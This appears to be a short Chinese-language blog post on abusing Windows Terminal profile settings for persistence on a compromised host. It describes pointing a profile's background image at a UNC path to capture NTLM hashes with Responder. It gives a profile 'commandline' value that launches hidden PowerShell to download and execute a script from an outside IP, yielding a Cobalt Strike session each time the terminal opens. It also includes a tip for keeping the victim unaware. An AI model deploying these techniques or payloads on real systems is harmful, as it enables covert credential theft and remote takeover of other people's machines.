利用windows terminal进行权限维持

windows terminal是什么？

由于其方便可自定义等特性，被人所喜欢，今天我们就来聊一聊使用该工具进行权限维持。

由于其支持个人配置，所以我们可以在这个方面做文章，其配置文件为json文件，具体格式可参考微软给出的文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)。

1、hash获取

在背景图片哪里设置为UNC路径，然后使用response工具进行监听，当开启指定终端时，即可获取到目标机器的hash

hash

2、反弹会话

在其属性中可以设置启动的文件，且可以带参数，这就导致我们可以任意运行我们的程序。

设置powershell上线

"commandline":"powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.2.114:8088/a'))\""

新建窗口后，cs收到会话

注意：让其上线后还能继续使用powershell。